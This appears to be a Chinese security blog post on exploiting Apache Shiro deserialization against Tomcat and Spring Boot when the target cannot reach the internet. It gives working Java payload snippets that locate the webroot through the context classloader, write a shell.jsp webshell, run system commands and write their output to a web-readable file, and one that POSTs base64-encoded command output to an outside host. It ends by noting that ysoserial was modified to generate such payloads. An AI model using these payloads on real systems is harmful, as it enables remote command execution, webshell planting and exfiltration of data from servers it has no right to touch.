vlambda博客
学习文章列表

反序列化Tomcat容器探究



前言


最近碰到很多shiro反序列化漏洞,但是网上的poc基本都是基于dnslog来进行验证,这样在目标主机无法出网的情况下就难以发现并利用漏洞,本文以shiro反序列化为例,实现了在目标主机无法出网的情况下能够回显执行命令的结果(Tomcat),也希望能够引起大家对于一些反序列化漏洞利用方式的思考。

文章主要参考了知乎Litch1师傅的《Tomcat的一种通用回方法研究》一文,还有文中所提及的几位大佬先知上的文章。文中指出”Thread.currentThread.getContextClassLoader()“方法,该方法获取到的classLoader里面有大量的Tomcat容器信息,的确是可以找到很多可以利用的点。


奇思妙旅的开始


    首先在Esclipse上用Tomcat8.0的服务器调试

    为了方便调试直接获取一个ClassLoader cl;


    发现cl->resources->context->docBase存有Tomcat的物理路径信息。

反序列化Tomcat容器探究

其实这里面的cl的classloader是Tomcat自定义的ParallelWebappClassLoader

反序列化Tomcat容器探究

而ParallelWebappClassLoader继承自WebappClassLoaderBase

反序列化Tomcat容器探究

而WebappClassLoaderBase则有一些比较好用的方法。

反序列化Tomcat容器探究

可以通过getResources()方法直接获取当前classLoader的资源。

WebappClassLoaderBase WCLB= (org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardRoot WRR=(StandardRoot) WCLB.getResources(); StandardContext cc= (StandardContext) WRR.getContext();    String path= cc.getDocBase();

最终可以通过上述方法获取当前web的运行路径。

反序列化Tomcat容器探究

获取当前web路径后其实就可以直接写shell了

java.io.FileOutputStream a= new java.io.FileOutputStream(((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext().getDocBase()+"/shell.jsp");a.write("shell".getBytes());a.close();

反序列化Tomcat容器探究

但是当用这种方法测试本地搭建的shiro环境时发现失败了,本地shiro环境我用的是tomcat8.5环境,发现其8.5的getDocBase

反序列化Tomcat容器探究

值不是物理路径

反序列化Tomcat容器探究

然后又继续寻找一个较为通用的方法,发现StandardRoot 中有个getBaseUrls

反序列化Tomcat容器探究

发现其返回值也是网站的物理路径

反序列化Tomcat容器探究

((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()

在8.5的tomcat输出一下

反序列化Tomcat容器探究

确实获取到了物理路径。通过这种方式可以很好的去找到网站的物理路径写shell就显得很轻松了。

但是实际过程中发现了springboot的站点没成功

但本地搭建springboot环境的时候发现

这个baseurl中还是有值的。

反序列化Tomcat容器探究

在这个文件夹中写文件,是可以通过web访问的

反序列化Tomcat容器探究

反序列化Tomcat容器探究

因此可以用这种思路来进行命令回显,但有个缺点就是需要在网站目录写文件。

String cmd = "whoami";String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";java.io.FileOutputStream a= new java.io.FileOutputStream(((java.net.URL)((org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getBaseUrls().get(0)).getPath()+"/result.txt");a.write(output.getBytes());a.close();

将命令回显写到网站的根目录然后进行读取

在研究的过程中发现如果网站出网,但是在windows环境或者不能反弹shell的环境下也可以通过下面的方式进行命令回显

String cmd = "whoami";String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd } : new String[] { "cmd.exe", "/c", cmd };java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s1 = new java.util.Scanner(in).useDelimiter("\\a");String output = s1.hasNext() ? s1.next() : "";java.net.HttpURLConnection c = (java.net.HttpURLConnection) new java.net.URL("http://xxxxx/xxx.php").openConnection();c.setRequestMethod("POST");c.setDoInput(true);c.setDoOutput(true);java.io.PrintWriter out = new java.io.PrintWriter(c.getOutputStream());String s="k="+ java.util.Base64.getEncoder().encodeToString(output.getBytes("utf-8"));System.out.println(s);out.print(s);out.flush();c.getResponseCode();

将命令的结果通过post的方式发送出去,从而获取回显的命令。

接下来的事就是修改ysoserial代码使其可以根据上述代码生成对应payload了

修改ysoserial代码参考了c0ny1师傅的《使ysoserial支持执行自定义代码》一文

    效果如下

   exp演示如下